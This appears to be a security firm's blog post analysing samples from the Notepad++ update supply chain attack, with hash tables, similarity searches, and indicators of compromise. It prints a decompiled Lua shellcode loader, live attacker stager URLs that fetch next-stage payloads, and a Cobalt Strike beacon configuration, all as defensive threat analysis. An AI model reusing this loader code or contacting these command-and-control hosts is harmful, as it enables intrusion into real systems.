Skip to main content
Contact us: blog@ukatemi.com
TECHNICAL BLOG ukatemi.com

Notepad++ supply chain attack related samples

In this report, we use our Kaibou Search Services to find related samples to the Notepad++ supply chain attack that happened between 2025-06 and 2025-12. During the analysis we uncover 14 new similar samples and 11 new stager URLs related to the threat actor.

If you are already familiar with the attack, skip to our contribution.

Attack overview

On October 23, 2025 a Notepad++ user reported suspicious activity related to the automatic update or Notepad++. The acivity involved acquiring information about the host system and uploading it to https://temp.sh, a file storage provider.

Suspicious commands originating from Notepad++ update (source: notepad-plus-plus.org)
Suspicious commands originating from Notepad++ update (source: notepad-plus-plus.org)

Up until December 9, 2025, more Notepad++ users reported that some update requests were redirected to external servers and trojanized executables were downloaded to their systems. This could be done because the update mechanism didn't verify cryptographic signatures on the downloaded binaries, so a Man-in-the-Middle (MitM) attacker in the right place could serve any file they wanted. On December 1, certificate verification was added to the update mechanism (wingup commit, Notepad++ commit).

February 2, 2026 Don Ho, the main author of Notepad++ published a blogpost about the security incidents happening between June and December 2025. As per the excellent overview from Costin Raiu, the attackers leveraged the shared hosting infrastructure at Hostinger to attack Notepad++ specifically. They probably compromised another site, hosted on the same server to execute code, then utilized an exploit (maybe CVE-2025-6018) to elevate their privileges, maybe modify the Notepad++ update script (https://notepad-plus-plus.org/update/getDownloadUrl.php) to redirect users to attacker controlled domains. A good illustration about the network traffic is shown in the followup blog by Kenneth Kinion and Elliot Roe from Validin. On 2025-09-02 Hostinger updated the kernel and firmware of the server and so the original attack vector was eliminated. But the attackers could still meddle with the notepad++ update traffic, probably through suo5 PHP tunnels.

Based on techniques used during the attack the events are attributed to a Chinese APT group, Lotus Blossom. The information so far suggests that they first fingerprinted many compromised hosts with netstat, systeminfo, tasklist and whoami commands and later decided what hosts are worth infecting further. Too many infections increase the risk of discovery.

Samples included in the attacks

The first analysis report was published by Ivan Feigl from Rapid7, it's an excellent, detailed deep-dive into the samples they analyzed, including Chrysalis backdoor. The following day, Georgy Kucherin and Anton Kargin from Kaspersky published a blog post about what they saw in their telemetry. We highly encourage everyone to read both reports for in depth understanding of the execution chains.

Timeline of the campaign from the Kaspersky blog (source: SecureList)
Timeline of the campaign from the Kaspersky blog (source: SecureList)

The Rapid7 report corresponds to Chain 3 in the Kaspersky blog.

Hostinger also published a short blog about the attack. Additional IoCs have been added to notepad++ site on 2026-02-05. This contains some IP addresses, HTTP User Agents and a few PHP files and their hashes. None of these are available in public databases.

How does Kaspersky know all hashes, type and size for a file they haven't seen? πŸ€”
How does Kaspersky know all hashes, type and size for a file they haven't seen? πŸ€”

Hunting for similar samples in Kaibou Search Services

Let's try to expand on the known samples using our malware repository. We'll follow Kaspersky's order of chains. For every sample we'll check if they are available in our database. For this, we only need an MD5, SHA1 or SHA256 hash. SHA256 is used in Rapid7 report, SHA1 is used in Kaspersky. In order to perform similarity search to a sample, we need it's TLSH digest. This is almost never published in reports, so we need to obtain it from other sources (e.g. VirusTotal, MalwareBazaar or our database, Kaibou).

We use the following abbrevations:

Chain 1

update.exe 1
Attribute Value
Name update.exe
SHA1 8e6e505438c21f3d281e1cc257abdbf7223b7f5a
SHA256 36c98c18215a244e501673d9f01fa093d1906d08a7ad9927905f8f004640e4e1
TLSH ?
KSS upload -
VT upload -
KTIP upload 2025-07-31 05:22:00+00:00
Size 1141401
Source Kaspersky
Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains benign ProShow software with exploit code in file named load.
update.exe 2
Attribute Value
Name update.exe
SHA1 90e677d7ff5844407b9c073e3b7e896e078e11cd
SHA256 51266007c039ab80dbe9a2c38ed75759d954458d8864a0429c71e87be2bddce2
TLSH ?
KSS upload -
VT upload -
KTIP upload 2025-08-05 03:59:00+00:00
Size 1141401
Source Kaspersky
Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains benign ProShow software with exploit code in file named load with modified C2
load 1
Attribute Value
Name load
SHA1 06a6a5a39193075734a32e0235bde0e979c27228
SHA256 c7cc87ef3829a33b7f178d88a71ba548c37020005b09d16a76fcd356621335e6
TLSH ?
KSS upload -
VT upload -
KTIP upload 2026-02-03 06:51:00+00:00
Size 15000
Source Kaspersky
Description Exploit payload for ProShow
load 2
Attribute Value
Name load
SHA1 9c3ba38890ed984a25abb6a094b5dbf052f22fa7
SHA256 26256ea1a345b788dd303f5621b5028cf572b733793039c8ee1e5c481113bd09
TLSH ?
KSS upload -
VT upload -
KTIP upload 2026-02-03 06:47:00+00:00
Size 15000
Source Kaspersky
Description Exploit payload for ProShow

As none of the samples are in our database or VT and Kaspersky doesn't use TLSH hashes, we cannot search for these. 🀷

Chain 2

update.exe 3
Attribute Value
Name update.exe
SHA1 573549869e84544e3ef253bdba79851dcde4963a
SHA256 69caa18ec5e86cf3a7376f3a9a08d118cbade608432dc262ba6c7fe692da7d33
TLSH ?
KSS upload -
VT upload -
KTIP upload 2025-09-16 06:13:00+00:00
Size 137955
Source Kaspersky
Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader.
update.exe 4
Attribute Value
Name update.exe
SHA1 13179c8f19fbf3d8473c49983a199e6cb4f318f0
SHA256 a3cf1c86731703043b3614e085b9c8c224d4125370f420ad031ad63c14d6c3ec
TLSH ?
KSS upload -
VT upload -
KTIP upload 2025-09-18 21:40:00+00:00
Size 137969
Source Kaspersky
Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader.
update.exe 5
Attribute Value
Name update.exe
SHA1 4c9aac447bf732acc97992290aa7a187b967ee2c
SHA256 798fd7c2a2d4f0865aec808962489b39f995961e38e2bebda8f84ddc5a935d86
TLSH ?
KSS upload -
VT upload -
KTIP upload 2025-09-24 05:15:00+00:00
Size 137967
Source Kaspersky
Description NSIS installer downloaded from http://45.76.155.202/update/update.exe, contains LUA downloader.
update.exe 6 return
Attribute Value
Name update.exe
SHA1 821c0cafb2aab0f063ef7e313f64313fc81d46cd
SHA256 4d4aec6120290e21778c1b14c94aa6ebff3b0816fb6798495dc2eae165db4566
TLSH 48E302277FE0C673FC9A0B701E365F6396BBD5142421CB0B83909A45FA21785DE662F2
KSS upload 2025-10-20 00:10:23+00:00
VT upload -
KTIP upload 2025-10-17 08:17:00+00:00
Size 153023
Source Kaspersky
Description NSIS installer downloaded from http://95.179.213[.]0/update/update.exe, contains LUA downloader.

Finally, the 6th update.exe, the October 2025 version of Chain 2 is available in our database. Similarity search results in 2 additional samples.

Similarity search results for update.exe (Chain 2, October 2025 version)
Similarity search results for update.exe (Chain 2, October 2025 version)

First similar sample to update.exe 6 return
Attribute Value
Name update.exe
SHA1 26b72c28cc35552e9cf0c2939d5d595b2654e935
SHA256 cd88f47f6753d1e446e411fc4cb7a7a324adcd4ceb505aa1c8aee03aa951d681
TLSH 5CE302277FE0C673FC9A0A701E365F6396BBD5142421CB0B83909A45FA21785DE662F2
KSS upload 2026-02-05 10:10:08+00:00
VT upload 2026-02-06 05:05:08+00:00
KTIP upload 2026-02-05 03:56:00+00:00
Size 153023
Source Ukatemi
Description Similar sample to 4d4aec...db4566

Files dropped from the NSIS installer cd88f4...51d681
Files dropped from the NSIS installer cd88f4...51d681

As mentioned in the Kaspersky report lua5.1.dll, script.exe and alien.dll are legitimate and alien.ini contains a LUA 5.1 compiled script. The first 64 bytes of the file look like this, it is indeed LUA 5.1, so we can decompile it with luadec:

00000000: 1b4c 7561 5100 0104 0404 0800 2700 0000  .LuaQ.......'...
00000010: 4043 3a5c 5573 6572 735c 4a6f 686e 5c44  @C:\Users\John\D
00000020: 6573 6b74 6f70 5c77 6c75 615c 6f75 7470  esktop\wlua\outp
00000030: 7574 2e6c 7561 0000 0000 0000 0000 0000  ut.lua..........
scc = ""
package.cpath = "./?.dll"
core = require("alien.core")
k32 = (core.load)("Kern" .. "el32")
u32 = (core.load)("Use" .. "r32")
len = (string.len)(scc)
va = k32.VirtualAlloc
vl = k32.VirtualLock
rmm = k32.RtlMoveMemory
es = u32.EnumWindowStationsW
va:types({"int", "int", "int", "int"; ret = "int", abi = "stdcall"})
vl:types({"int", "int"; ret = "int", abi = "stdcall"})
rmm:types({"int", "string", "int"; ret = "int", abi = "stdcall"})
es:types({"int", "int"; ret = "int", abi = "stdcall"})
ptr = va(0, len, 12288, 64)
vl(ptr, len)
rmm(ptr, scc, len)
es(ptr, 0)

The decompiled code just loads a shellcode to memory and calls User32:EnumWindowStationsW(scc, 0). As per the Microsoft docs, the first argument is a EnumWindowStationProc callback function. The shellcode itself is most likely an msfvenom windows/custom/reverse_http 32-bit payload (source code reverse_http.rb) that uses Wininet to download the next stage.

Api resolution stub in shellcode from LUA script from cd88f4...51d681
Api resolution stub in shellcode from LUA script from cd88f4...51d681
Meterpreter block api resolution stub in windows/custom/reverse_http msfvenom payload
Meterpreter block api resolution stub in windows/custom/reverse_http msfvenom payload

Extracting the LHOST, LPORT, LURI and HTTP headers from the payload is fairly easy. These values match the ones for September-October chain 2.

{
    "path": "/help/Get-Start",
    "http_headers": [
        "Accept: */*",
        "Accept-Language: en-US,en;q=0.5",
        "Connection: close",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
    ],
    "domain": "safe-dns.it.com",
    "port": 443,
    "protocol": "https"
}

NSIS installer also sets the creation date for extracted files. We can deduct, that the first LUA-based archive was probably constructed at 2025-08-18 07:59:14+01:00 because the lua5.1.dll probably didn't change across versions, just the alien.ini payload did. This payload was created at 2025-09-22 09:25:48+01:00.

Name       Length CreationTime           LastWriteTime          LastAccessTime        
----       ------ ------------           -------------          --------------        
a.txt       16901 2026. 02. 09. 19:16:13 2026. 02. 09. 19:16:16 2026. 02. 09. 19:16:16
alien.dll   26112 2018. 01. 30. 19:27:40 2018. 01. 30. 19:27:40 2026. 02. 09. 19:16:28
alien.ini    2093 2025. 09. 22. 9:25:48  2025. 09. 22. 9:25:48  2026. 02. 09. 19:16:28
lua5.1.dll 163840 2025. 08. 18. 7:59:14  2025. 08. 18. 7:59:14  2026. 02. 09. 19:16:28
script.exe  45056 2025. 08. 18. 7:58:32  2025. 08. 18. 7:58:32  2026. 02. 09. 19:16:27
alien.ini (from cd88f4...51d681)
Attribute Value
Name alien.ini
SHA1 0d0f315fd8cf408a483f8e2dd1e69422629ed9fd
SHA256 8e7a15c402b4f34b57185e07718cd6511a39a66045792174d21d832d17db2204
TLSH 7D417567DAB61E10E8355838C7AF430104080ACDFDA21E936F19F53071A70A8FDA91E5
KSS upload -
VT upload -
KTIP upload 2026-02-03 06:33:00+00:00
Size 2093
Source Ukatemi
Description Compiled LUA payload (from cd88f4...51d681)

Second similar sample to update.exe 6 return
Attribute Value
Name update.exe
SHA1 c7b2d5933b96e3e99201ca34bee866cfb299db88
SHA256 33e66004447f988f896d3d16efae7cf04bbdd7057272a6ff63daa60af5f2a19d
TLSH 50E302277FE0C573FC9A0E711E365F2396BBD9142820CF0B43909A45FA15786CE666B2
KSS upload 2026-02-05 10:10:08+00:00
VT upload 2026-02-06 04:54:49+00:00
KTIP upload 2026-02-05 03:58:00+00:00
Size 153064
Source Ukatemi
Description Similar sample to 4d4aec...db4566
alien.ini (from 33e660...f2a19d)
Attribute Value
SHA1 13d0bb84d261802c5ef5488dfcc448a1987bb83a
SHA256 1de73eb2dd620dccfc757e4afcf0f58141e441c21b72c3adfe087c309e79bfed
TLSH T1D3417457D2B65E20EA605435CB5B030201094BCCFED11F17AFA9F52052B7178BEBA6AA
KSS Upload -
VT Upload -
KTIP Upload -
Size 2193
Source Ukatemi
Description Compiled LUA payload (from 33e660...f2a19d)

This sample drops the same LUA components as all other samples using LUA, except for the script payload alien.ini. The decompiled LUA codes only differ in a single line, that sets the library search path:

< package.cpath = "./?.dll"
---
> package.cpath = (arg[0]):match(".*\\") .. "?.dll;" .. package.cpath

The contained shellcode is exactly the same as in the previous similar version:

6b780cf1def14589f7b9d5835f05d24fa2443b6524851f386ec3c9379af68cc6  ./33e660_shellcode
6b780cf1def14589f7b9d5835f05d24fa2443b6524851f386ec3c9379af68cc6  ./cd88f4_shellcode

The timestamps of the legitimate files are the same as before, but here alien.ini was created 1 month later, than the previous one, at 2025-10-21 07:54:40+01:00.

Name       Length CreationTime           LastWriteTime          LastAccessTime        
----       ------ ------------           -------------          --------------        
a.txt       17349 2026. 02. 09. 19:00:02 2026. 02. 09. 19:00:04 2026. 02. 09. 19:00:04
alien.dll   26112 2018. 01. 30. 19:27:40 2018. 01. 30. 19:27:40 2026. 02. 09. 19:00:16
alien.ini    2193 2025. 10. 21. 7:54:40  2025. 10. 21. 7:54:40  2026. 02. 09. 19:00:17
lua5.1.dll 163840 2025. 08. 18. 7:59:14  2025. 08. 18. 7:59:14  2026. 02. 09. 19:00:16
script.exe  45056 2025. 08. 18. 7:58:32  2025. 08. 18. 7:58:32  2026. 02. 09. 19:00:16

Chain 3

update.exe 7
Attribute Value
Name update.exe
SHA1 d7ffd7b588880cf61b603346a3557e7cce648c93
SHA256 a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9
TLSH 19E423255AB1C035C766233F2DB23367DBF680252ACC552743243FFA74966E7228FA94
KSS upload -
VT upload 2025-10-22 21:49:28+00:00
KTIP upload 2025-10-06 05:45:00+00:00
Size 697145
Source Rapid7
Description NSIS installer downloaded from http://45.32.144.255/update/update.exe, contains BluetoothService.exe, log.dll and BluetoothService

There are no similar samples to this one in our database.

log.dll
Attribute Value
Name log.dll
SHA1 f7910d943a013eede24ac89d6388c1b98f8b3717
SHA256 3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad
TLSH 93835A01B5A1C175E9BE19354428DA754B3EB910DEE1DEAB7789067E4F302C2EE30D2B
KSS upload 2025-10-10 19:15:35+00:00
VT upload 2025-10-22 21:50:24+00:00
KTIP upload 2025-12-03 04:41:00+00:00
Size 85504
Source Rapid7
Description Malicious DLL sideloaded by BluetoothService.exe, exporting LogInit, LogWrite

Similarity search to log.dll with a threshold of 40 resulted in 89733 similar files. 430 of these were uploaded into Kaibou later than 2025-06-01. After some manual analysis we found that the similarity comes from the CRT functions. They occupy most part of the binary. The actual functions written by the authors occupy much smaller space in the binary. So while the binary similarity (that TLSH tries to detect) is correct, none of the samples have similar functionality.

Similarity searching for the encrypted shellcode (BluetoothService) is useless as it has 7.999 entropy.

Rapid7 found additional malicious files on the infected server under C:\ProgramData\USOShared directory. conf.c contained a small shellcode loader that downloads and executes the next stage. The shellcode loads Wininet.dll using LoadLibraryA, and uses InternetConnectA and HttpSendRequestA from it to download a file from a specific host with custom headers. The next stage was a Cobalt Strike Beacon.

Loader execution flow for additional artifacts found on the server by Rapid7 (source: Rapid7)
Loader execution flow for additional artifacts found on the server by Rapid7 (source: Rapid7)

The loader samples below were found by Rapid7 in public databases and are similar to the one observed during the incident.

loader sample details
Attribute Value
Name loader 1
SHA1 c68d09dd50e357fd3de17a70b7724f8949441d77
SHA256 0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd
TLSH A334E677AB30115DDD2C1974EDB344C518E6EEA0881542FF379F3E188A3D892B9A6E07
KSS upload 2025-05-08 01:57:07+00:00
VT upload 2025-05-07 08:12:59+00:00
KTIP upload 2026-02-02 16:00:00+00:00
Size 233472
Source Rapid7
Description Loader 1 found in public malware repositories similar to loader compiled from conf.c
Attribute Value
Name loader 2
SHA1 9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
SHA256 e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda
TLSH 9A82E73BE31348FDC916D67496FB6B32BCB23D6345A1573D1360D2F51E21AA02DAEA10
KSS upload 2025-06-11 14:57:38+00:00
VT upload 2025-06-09 07:09:33+00:00
KTIP upload 2025-06-09 01:14:00+00:00
Size 18944
Source Rapid7
Description Loader 2 found in public malware repositories similar to loader compiled from conf.c
Attribute Value
Name loader 3
SHA1 3090ecf034337857f786084fb14e63354e271c5d
SHA256 b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3
TLSH 1DB36A2B73E930F8E1768278C8914A15EB76B87647209FAF07A442561F236D18D3EF71
KSS upload -
VT upload 2025-03-27 06:42:43+00:00
KTIP upload 2025-03-27 17:52:00+00:00
Size 108032
Source Rapid7
Description Loader 3 found in public malware repositories similar to loader compiled from conf.c
Attribute Value
Name loader 4
SHA1 9c0eff4deeb626730ad6a05c85eb138df48372ce
SHA256 fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a
TLSH D3C3396873B9C0B9F1768278C5710A05E7FE784646209FAF03A4CE572F636918D3AF61
KSS upload 2025-11-14 20:55:06+00:00
VT upload 2025-11-14 10:27:55+00:00
KTIP upload 2025-11-14 08:50:00+00:00
Size 120416
Source Rapid7
Description Loader 4 found in public malware repositories similar to loader compiled from conf.c

Loaders 1, 2 and 4 are available in our database
Loaders 1, 2 and 4 are available in our database

As all the loaders are available either in our database or VirusTotal, we can perform similarity searches to them. There are no additional similar samples to loaders 1 and 4.

There are no additional similar samples to loader 1 in KSS
There are no additional similar samples to loader 1 in KSS

There are no additional similar samples to loader 4 in KSS
There are no additional similar samples to loader 4 in KSS

There are 23 additional similar samples to loader 2 in KSS
There are 23 additional similar samples to loader 2 in KSS

There are 23 samples in KSS similar to loader 2 (e7cd60...1c6eda). Let's have a closer look! All of them are x64 PE files. The function at 0x401630 posts a message to the current thread and peeks it immediatelly, checking that the values arrived correctly. If they did, it checks the elapsed time after a sleep(650). These are common sandbox / emulation detection techniques. If all is well, it allocates a heap buffer, copies the encrypted shellcode to it and calls DecryptAndExecuteShellcode (at 0x401595).

Decompiled function from e7cd60...1c6eda that does some sandbox detection and then executes DecryptAndExecuteShellcode
Decompiled function from e7cd60...1c6eda that does some sandbox detection and then executes DecryptAndExecuteShellcode

Global variables related to shellcode decryption in e7cd60...1c6eda
Global variables related to shellcode decryption in e7cd60...1c6eda

Shellcode decryption is just a XOR with the fixed 4 byte global key. Then the shellcode is executed using CreateThread.

Shellcode decryption and execution in e7cd60...1c6eda
Shellcode decryption and execution in e7cd60...1c6eda

We note that the WriteModuleHandleRefAndGetProcAddress function (at 0x401563) has no effect in this sample. It would write the address of GetModuleHandleA and GetProcAddress to the shellcode at offsets from DAT_0040302c and DAT_00403030 global variables. But these are 0 in this sample. We think that this loader may be used with other shellcode payloads, that need these functions.

Unused function probably for shellcodes that need GetModuleHandleA and GetProcAddress
Unused function probably for shellcodes that need GetModuleHandleA and GetProcAddress

Of the 23 similar samples returned by KSS:

Similar sample details
Attribute Value
SHA1 34596b4e8b539af3c6c90285a2824511b156fa19
SHA256 055f7fce25108a9b04668161b8ec88a729ef1c488e6fb2de27c857749f241c11
TLSH 7C82C63BE31358FDC916D6B496FB66327CB2396306A1573E1330D6F51E216A02E9FA10
KSS Upload 2024-08-26 10:25:02+00:00
VT Upload 2024-08-25 02:55:53+00:00
KTIP Upload 2024-08-25 05:09:00+00:00
Size 18944
Attribute Value
SHA1 a7fdcb55424e8b68a94d5b9cd59c4731c5707124
SHA256 07f24f0d1a2eb63c20c7eb2909ead1aa36681fe49fc22b8222e23a4fbd53bbeb
TLSH 2682D73BE31358FCC916D67496FB6B327CB239A306A1473D2370D6F51E216A02D9EA10
KSS Upload 2024-11-25 11:37:11+00:00
VT Upload 2024-11-22 09:34:05+00:00
KTIP Upload 2024-11-22 11:27:00+00:00
Size 18944
Attribute Value
SHA1 d97e19ca7439952a3d448d9d7a3a8820f8939398
SHA256 15e012d0a176409a0921ca088ce61b2be7b15c5af092315e56ef9234d31e7f90
TLSH 2E82E81BE31348FCC916D67496FB6B3278B23DA106A1473D3368D2F51F216A02DAEA11
KSS Upload 2022-03-23 16:33:30+00:00
VT Upload 2022-03-18 00:31:46+00:00
KTIP Upload 2022-03-13 23:51:00+00:00
Size 18944
Attribute Value
SHA1 5562dcbb2b5dc98e4469bdd684f9dc18b43c50f7
SHA256 7811fb7661957f1b7689bf0d69068cc39fa93cff235260ab5f35b5fd493d6ceb
TLSH DA82D73BE31348FDC516D6B495FB6B327CB2799306A1573D1260D2F51F216A02E9EA10
KSS Upload 2025-09-12 23:09:13+00:00
VT Upload -
KTIP Upload 2025-09-11 16:14:00+00:00
Size 18944
Attribute Value
SHA1 79b0b78afadf13ef38d9d98365a296e95e368426
SHA256 b479247df50f458ba3da9107e89b37ff732a688a9aab152c82f31d41f3fb269b
TLSH DE82D77BE21398FCC916D6B496FB67327CB239A306A0473D1360D1F51F216A02E9EA15
KSS Upload 2025-04-16 04:32:29+00:00
VT Upload 2025-05-01 07:25:58+00:00
KTIP Upload -
Size 18944
Attribute Value
SHA1 e180f2c7efae2151d9292510c444c575ed786410
SHA256 b76d2570f60d51bdbad3216989b3266cea7c71496a24b719a976dde620761e47
TLSH 2182D63BE31348FCC916D67495FB6A327CB2396346A1573D1360E2F51E21AA02DAEA11
KSS Upload 2024-01-10 03:08:57+00:00
VT Upload 2024-01-10 13:52:16+00:00
KTIP Upload 2024-01-09 23:38:00+00:00
Size 18944
Attribute Value
SHA1 c8deff347d505012aa9632ef3fcdccf492b6c104
SHA256 b99715064cf004cf3361ada06f5bb9586970e1c76ffa2b8a85cdd97b9362b707
TLSH 3B82D63BE31348FCC916D6B496FB2732BCB239A345A1573E1360D2F51F216A06D6EA11
KSS Upload 2025-05-21 04:20:30+00:00
VT Upload 2025-05-26 11:13:40+00:00
KTIP Upload 2025-05-20 11:50:00+00:00
Size 18944
Attribute Value
SHA1 cbb8a3208e5fb83610ac75b671cd629c6e3481fc
SHA256 e5aea542ee91767b72924b3379cf0af3da6a8168686eab1621350b96bfadb0de
TLSH 5C82D73BE31348FDC516D6B495FB6A327CB23DA305A1573D2370D2F51E216A02DAEA10
KSS Upload 2024-05-21 01:33:46+00:00
VT Upload 2024-05-21 08:23:44+00:00
KTIP Upload 2024-05-20 09:18:00+00:00
Size 18944
Attribute Value
SHA1 03bceec136964f101f5f98ce07da9e1a566865e3
SHA256 e65e6051980701ae9bcd600fd08c7be44f8f299c8ad68d8cbddf704f9757c870
TLSH 3982D61BA31348FCC916D6B485FB6B32B8B23D5146A1473E337CD6F51F216A02D9EA11
KSS Upload 2022-07-19 18:47:57+00:00
VT Upload 2022-07-16 13:22:44+00:00
KTIP Upload 2022-07-16 11:34:00+00:00
Size 18944
Attribute Value
SHA1 48681fea3928cab8b5d3c3cf997942a83b52ffb9
SHA256 eac8bc6c7c2f64026090b3168ce6637f6b20ede1c40fbbc9c41a38542ec3e888
TLSH 0782F81BE31348FDC516D6B499FB673278B2399146A0473D3378E1F51F21AB02EAEA11
KSS Upload 2024-04-09 18:10:28+00:00
VT Upload 2024-04-06 08:57:08+00:00
KTIP Upload 2024-04-06 07:12:00+00:00
Size 18944
Attribute Value
SHA1 922f68545356193ee2aeb39331d4e280dc0a9856
SHA256 fda438bb67c8486045b3fb43fe125a2fb18c939e9630b6d5f007a0278a07619b
TLSH 3182D63BE21358FCC916D6B495FB27327CB23DA306A1573D1370D2F51E216A02EAEA15
KSS Upload 2024-09-09 02:34:54+00:00
VT Upload 2024-09-10 06:37:28+00:00
KTIP Upload 2024-09-08 09:25:00+00:00
Size 18944

The samples all have the same size as loader 2 from Rapid7 blog. Similarity can also be observed on their image representations with Hilbert curves.

e7cd60... (loader 2)
e7cd60... (loader 2)
055f7f...
055f7f...
07f24f...
07f24f...
15e012...
15e012...
7811fb...
7811fb...
b47924...
b47924...
b76d25...
b76d25...
b99715...
b99715...
e5aea5...
e5aea5...
e65e60...
e65e60...
eac8bc...
eac8bc...
fda438...
fda438...

Manual analysis of the related samples prove the similarity. For example e7cd60... (loader 2) and 055f7f... only differ in CheckSum in ImageOptionalHeader and G_SHELLCODE_LEN, G_XOR_KEY and G_ENCRYPTED_SHELLCODE global variables. As the original loader is thought to be a custom loader implementation (not a generic, available thing like Metasploit payloads or Cobalt Strike), these similar samples can point us to additional previous targets by the same attacker.

The payloads are similar msfvenom windows/x64/custom/reverse_http shellcodes using wininet functions to load the next stage, so we can extract the LHOST, LPORT, LURI and HTTP headers just like before. Their original source code is available in github metasploit-framework reverse_http_x64.rb. From the shellcodes, we extracted the following configuration:

url / sample first seen headers
https://43.136.93.209:8443/center/user_sid

2024-08-25 02:55:53+00:00 (VT)
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
http://154.8.140.211:8011/VS66V3Ez

2024-11-22 09:34:05+00:00 (VT)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
https://124.221.160.203:8876/r/www/cache/static/protocol/https/global/js/all_async_search_ef1056e.js

2022-03-13 23:51:00+00:00 (KTIP)
Accept: */*
Referer: https://www.baidu.com/
Content-Type: text/javascript
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
http://81.70.37.146:80/4l5C3VMo

2025-09-11 16:14:00+00:00 (KTIP)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
https://62.234.11.61:443/76kAq89b

2025-04-16 04:32:29+00:00 (KSS)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
https://154.8.140.211:4436/ndn97D81

2024-01-09 23:38:00+00:00 (KTIP)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
https://62.234.11.61:443/K42qGRQQ

2025-05-20 11:50:00+00:00 (KTIP)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
http://43.138.234.160:8088/center/user_sid

2024-05-20 09:18:00+00:00 (KTIP)
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
http://185.102.170.167:2002/vFSN

2022-07-16 11:34:00+00:00 (KTIP)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
https://10.211.55.5:443/Kql5

2024-04-06 07:12:00+00:00 (KTIP)
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 2.0.50727)
http://62.234.11.61:443/WKmBPBG3

2024-09-08 09:25:00+00:00 (KTIP)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36

Extracted IP addresses categorized by AS:

IP AS
43.136.93.209
154.8.140.211
124.221.160.203
81.70.37.146
62.234.11.61
43.138.234.160
AS 45090 ( Shenzhen Tencent Computer Systems Company Limited ) πŸ‡¨πŸ‡³
185.102.170.167 AS 12844 ( Bouygues Telecom SA ) πŸ‡«πŸ‡·
10.211.55.5 private

So if the code used for loader 2 is truly uniquely used by only this threat group (believed to be Lotus Blossom), we now know that they've been using this stager with different shellcode configurations since at least 2022-03, with the above IP addresses.

We queried all URLs with the provider parameters and hxxp[://]81.70.37.146:80/4l5C3VMo was live (at 2026-02-12 10:34:58+01:00) and returned the following file:

Sample downloaded from 81.70.37.146
Attribute Value
SHA1 e52f65761ffc5b80a439aa3b9ebc47bf300e1650
SHA256 006f0ba963a63d9b2822b139ac806dee71eb6a3382b1b1db74b5cf2e60b57a51
TLSH T1FC83D01B96F1E5074F4D53B43AA2FEEC927352B25C88F8BBB4816451DEF190470A9ACC
KSS Upload -
VT Upload -
KTIP Upload -
Size 88139
Source Ukatemi
Description Stage 2 of 7811fb...3d6ceb downloader from hxxp[://]81.70.37.146:80/4l5C3VMo matching conf.c

After analysis, we found that this is a file very similar to the one detailed in Analysis of conf.c section of Rapid7 report. In the beginning, it does the same rolling XOR-based decryption:

Rolling XOR-based decryption in 006f0b...b57a51 similar to conf.c in Rapid7 report
Rolling XOR-based decryption in 006f0b...b57a51 similar to conf.c in Rapid7 report

Decrypted stage
Attribute Value
SHA1 05637ac376c2672d5dc9aa86efcc1fb13d7d00e8
SHA256 be334153e1bfc5ba156ab6a2e6e939990f2cc2ceef553b127d423ab7c4e5d9b1
TLSH T1EB836C12E72438F6EB53A430458AE956BEDF62E38A7C1B0211A554D9FC1FB988DCCD03
KSS Upload -
VT Upload -
KTIP Upload -
Size 88068

The decrypted stage contains a similar section encrypted with CRAZY XOR key. It is a Cobalt Strike (CS) HTTPS beacon with the following configuration:

http-get: 81.70.37.146/api/getBasicInfo/v1
http-post: 81.70.37.146/api/Metadata/submit
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36

loader 3

There are 3234 similar samples to loader 3 in our database. 1120 of these are newer than 2025-01-01. As the original loader 3 was uploaded to VirusTotal on 2025-03-27, we only processed these newer samples. None of them contained the string clipc.dll. There are 20 that used function NtQuerySystemInformation, we checked these manually but none of them contained similar code snippets as the one highlighted in the Rapid7 report.

There are 3234 samples similar to loader 3
There are 3234 samples similar to loader 3

Future work

